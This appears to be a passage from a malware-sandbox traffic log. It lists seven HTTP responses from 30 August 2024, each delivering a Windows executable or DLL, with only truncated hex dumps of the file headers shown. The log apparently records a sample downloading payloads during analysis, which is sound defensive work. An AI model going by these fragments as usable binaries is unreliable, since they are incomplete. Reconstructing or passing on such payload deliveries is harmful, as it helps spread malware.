Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:18:01 GMTContent-Type: application/octet-streamContent-Length: 196648Last-Modified: Thu, 29 Aug 2024 19:35:54 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d0cd9a-30028"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ee cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ce 02 00 00 0a 00 00 00 00 00 00 ae ed 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 4e 2c 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ed 02 00 53 00 00 00 00 00 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 da 02 00 28 26 00 00 00 20 03 00 0c 00 00 00 20 ec 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 cd 02 00 00 20 00 00 00 ce 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 2e 06 00 00 00 00 03 00 00 08 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 03 00 00 02 00 00 00 d8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 ed 02 00 00 00 00 00 48 00 00 00 02 00 05 00 78 db 02 00 a8 10 00 00 03 00 02 00 0e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 26 28 81 2c 58 16 1e 55 f4 66 8b 68 95 e3 26 5c f4 fa 06 3d 45 e8 fc c8 d8 f7 25 22 3d 6d 3f 2a 3c 16 1c bf 55 1d a6 48 66 c2 74 24 96 d1 9a c9 12 c7 13 55 21 ba 42 8b 23 9b 95 3a c7 10 64 b8 fc 45 91 96 0c 5c 17 8e 4a 31 be dc 39 09 0f ae e7 c1 19 df 4b e2 6c 58 d8 47 52 41 8a ec 36 7c 5e 8c 2e d7 6f 91 82 d0 a8 eb 40 c7 90 26 cb a6 ca 35 12 ce 94 8b 09 bd 0b cd c3 3a 95 e4 f9 01 69 20 bf 58 6d 9e 95 58 6a a6 97 ff 0d 5f 30 22 4c 8a 58 8f 45 4f 20 6a 05 83 25 af d4 b0 6d 6e 9a 45 63 54 25 d6 33 43 c8 29 29 cd fa 5e 06 3a a9 54 6e 37 c3 77 c9 0b 59 df c9 2e a7 60 5b 41 ca 74 79 e1 ba e9 0f 4e b5 a5 ed c7 bf 6a a3 18 b8 73 c2 7c 51 54 3f 86 39 c7 e7 27 fe 3a e4 9e 6c 93 24 c9 7b 26 56 dc e0 7d ad 39 98 03 6e 65 73 af c4 85 5b e7 d5 f2 3f fd 77 71 52 2f 5f 4a 55 81 38 bf 69 72 5f 52 a7 18 12 68 da f2 79 3c b3 3c 09 b9 40 2f 08 fa d3 cf ec 02 27 10 c0 e8 2d 55 a9 18 76 38 d5 46 b3 32 7a 11 c3 5
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:18:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:18:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:18:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:18:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:18:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:18:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
